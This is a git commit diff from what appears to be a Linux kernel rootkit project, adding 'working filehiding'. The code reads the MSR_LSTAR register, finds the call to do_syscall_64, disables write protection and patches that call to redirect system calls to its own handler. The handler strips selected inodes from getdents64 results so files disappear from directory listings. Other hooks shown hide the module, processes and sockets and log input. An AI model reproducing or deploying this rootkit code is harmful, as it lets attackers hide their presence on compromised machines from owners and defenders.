commit 6e231c6ca60f527caf3e1fcd04e40dd434c0d35e
parent 7acc7de08cc3a255e1a8fcb74d71df053621184c
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date: Sun, 10 Jan 2021 02:02:20 +0100
Very rough around the edges, but working filehiding
Diffstat:
3 files changed, 119 insertions(+), 39 deletions(-)
diff --git a/src/filehide_lstar.c b/src/filehide_lstar.c
@@ -1,20 +1,30 @@
#include <linux/kernel.h>
#include <linux/string.h>
+#include <linux/slab.h>
+#include <linux/fdtable.h>
+#include <linux/dcache.h>
+#include <linux/irqflags.h>
#include <asm/nospec-branch.h>
#include <asm/msr-index.h>
#include "filehide_lstar.h"
+#include "filehide.h"
+#include "pidhide.h"
+#include "openhide.h"
#include "common.h"
+#include "rootkit.h"
#include "hook.h"
#define SEARCHLEN 512
+extern rootkit_t rootkit;
+
//Idea: build path from entry_SYSCALL_64_trampoline to do_syscall64 by gathering addresses piece by piece
//(1) JMP_NOSPEC %rdi -> (2) [entry_SYSCALL_64_stage2] jmp entry_SYSCALL_64_after_hwframe -> (3) [entry_SYSCALL_64] call do_syscall_64
-// |
-// can be skipped ============================================>
+// | |====>
+// can be skipped =========================================/
-//sign-extended mov rdi, imm; 0x48 is REX.W prefix
+//sign-extended (0x48 REX.W) mov rdi, imm
static const char *movSignExtended = "\x48\xc7\xc7";
//The first call in entry_SYSCALL_64 is the right one, so grabbing it is easy
@@ -27,11 +37,13 @@ static char *find_do_syscall_64(char *lstar_addr);
void g7_syscall_64(unsigned long, struct pt_regs *);
void (*do_syscall_64)(unsigned long, struct pt_regs *);
+static char *syscall_64_ptr;
+static unsigned long oldOff;
void
-test_lstar(void)
+hide_files_lstar(void)
{
- char *syscall_64_ptr = find_do_syscall_64((char *)read_msr(MSR_LSTAR));
+ syscall_64_ptr = find_do_syscall_64((char *)read_msr(MSR_LSTAR));
if(!do_syscall_64 || !syscall_64_ptr)
return;
@@ -40,15 +52,19 @@ test_lstar(void)
//newOff = g7_syscall_64_addr - nextOpcodeAddr
unsigned long newOff = (unsigned long)g7_syscall_64 - ((unsigned long)syscall_64_ptr + 5);
- DEBUG_INFO("%lx\n", (unsigned long)do_syscall_64);
- hexdump((char *)do_syscall_64, 128);
- hexdump((char *)g7_syscall_64, 128);
-
disable_protection();
memcpy((syscall_64_ptr + 1), &newOff, 4);
enable_protection();
}
+void
+unhide_files_lstar(void)
+{
+ disable_protection();
+ memcpy((syscall_64_ptr + 1), &oldOff, 4);
+ enable_protection();
+}
+
//Only use with multiples of 16..
static void
hexdump(char *addr, int n)
@@ -80,15 +96,10 @@ mem_offset(char *ptr)
unsigned long ret = 0;
memcpy(&ret, ptr, 4);
- ret = sign_extend(ret);
-
- //Offset relative to _next_ instruction
- ret += 4;
-
- return ret;
+ return sign_extend(ret);
}
-//Find do_syscall_64, sets it, and returns the pointer to the original call
+//Finds do_syscall_64, sets it, and returns the pointer to the original call
static char *
find_do_syscall_64(char *lstar_addr)
{
@@ -106,20 +117,86 @@ find_do_syscall_64(char *lstar_addr)
if(!syscall64_call_ptr)
return NULL;
- //Get offset relative to next address
- unsigned long syscall64_off = mem_offset(syscall64_call_ptr + 1); //1 byte offset to skip opcode
+ hexdump(syscall64_call_ptr, 16);
+
+ //Get offset from memory
+ unsigned long syscall64_off = oldOff = mem_offset(syscall64_call_ptr + 1); //1 byte offset to skip call opcode
//Store correct address of do_syscall_64
- do_syscall_64 = (void *)syscall64_call_ptr + syscall64_off + 1;
+ //Offset relative to _next_ instruction -> e8 xx xx xx xx -> 5 bytes
+ do_syscall_64 = ((void *)syscall64_call_ptr + 5) + syscall64_off;
return syscall64_call_ptr;
}
void
-g7_syscall_64(unsigned long nr, struct pt_regs *regs)
+g7_syscall_64(unsigned long nr, struct pt_regs *pt_regs)
{
- DEBUG_INFO("Number is %lu\n", nr);
- do_syscall_64(nr, regs);
+ do_syscall_64(nr, pt_regs);
+
+ if (nr == __NR_getdents64) {
+ //
+ // ( ͡°Ĺ̯ ͡° )
+ //
+ //https://elixir.bootlin.com/linux/v4.19.163/source/fs/buffer.c#L1218
+ local_irq_enable();
+
+ typedef struct linux_dirent64 *dirent64_t_ptr;
+
+ unsigned long offset;
+ dirent64_t_ptr kdirent, cur_kdirent, prev_kdirent;
+ struct dentry *kdirent_dentry;
+
+ cur_kdirent = prev_kdirent = NULL;
+ int fd = (int)pt_regs->di;
+ dirent64_t_ptr dirent = (dirent64_t_ptr)pt_regs->si;
+ long ret = (long)regs_return_value(pt_regs);
+
+ if (ret <= 0 || !(kdirent = (dirent64_t_ptr)kzalloc(ret, GFP_KERNEL)))
+ return;
+
+ if (copy_from_user(kdirent, dirent, ret))
+ goto yield;
+
+ kdirent_dentry = current->files->fdt->fd[fd]->f_path.dentry;
+
+ inode_list_t hidden_inodes = { 0, NULL };
+ inode_list_t_ptr hi_head, hi_tail;
+ hi_head = hi_tail = &hidden_inodes;
+
+ struct list_head *i;
+ list_for_each(i, &kdirent_dentry->d_subdirs) {
+ unsigned long inode;
+ struct dentry *child = list_entry(i, struct dentry, d_child);
+
+ if ((inode = must_hide_inode(child)))
+ hi_tail = add_inode_to_list(hi_tail, inode);
+ }
+
+ for (offset = 0; offset < ret;) {
+ cur_kdirent = (dirent64_t_ptr)((char *)kdirent + offset);
+
+ if (list_contains_inode(hi_head, cur_kdirent->d_ino)) {
+ if (cur_kdirent == kdirent) {
+ ret -= cur_kdirent->d_reclen;
+ memmove(cur_kdirent, (char *)cur_kdirent + cur_kdirent->d_reclen, ret);
+ continue;
+ }
+
+ prev_kdirent->d_reclen += cur_kdirent->d_reclen;
+ } else
+ prev_kdirent = cur_kdirent;
+
+ offset += cur_kdirent->d_reclen;
+ }
+
+ copy_to_user(dirent, kdirent, ret);
+
+ yield:
+ kfree(kdirent);
+ }
+
+ local_irq_disable();
}
static unsigned long
diff --git a/src/filehide_lstar.h b/src/filehide_lstar.h
@@ -1 +1,2 @@
-void test_lstar(void);
-\ No newline at end of file
+void hide_files_lstar(void);
+void unhide_files_lstar(void);
+\ No newline at end of file
diff --git a/src/hook.c b/src/hook.c
@@ -77,14 +77,14 @@ init_hooks(void)
if (rootkit.hiding_module)
hide_module();
- if (rootkit.hiding_files)
- hide_files();
+ // if (rootkit.hiding_files)
+ // hide_files();
- if (rootkit.hiding_open)
- hide_open();
+ // if (rootkit.hiding_open)
+ // hide_open();
- if (rootkit.hiding_pids)
- hide_pids();
+ // if (rootkit.hiding_pids)
+ // hide_pids();
if (rootkit.hiding_sockets)
hide_sockets();
@@ -100,7 +100,7 @@ init_hooks(void)
if (rootkit.logging_input)
log_input("127.0.0.1", "5000");
- test_lstar();
+ hide_files_lstar();
}
void
@@ -109,16 +109,16 @@ remove_hooks(void)
if (rootkit.hiding_module)
unhide_module();
- if (rootkit.hiding_files)
- unhide_files();
+ // if (rootkit.hiding_files)
+ // unhide_files();
- if (rootkit.hiding_open)
- unhide_open();
+ // if (rootkit.hiding_open)
+ // unhide_open();
- if (rootkit.hiding_pids) {
- clear_hidden_pids();
- unhide_pids();
- }
+ // if (rootkit.hiding_pids) {
+ // clear_hidden_pids();
+ // unhide_pids();
+ // }
if (rootkit.hiding_sockets)
unhide_sockets();
@@ -131,6 +131,8 @@ remove_hooks(void)
if (rootkit.logging_input)
unlog_input();
+
+ unhide_files_lstar();
}
void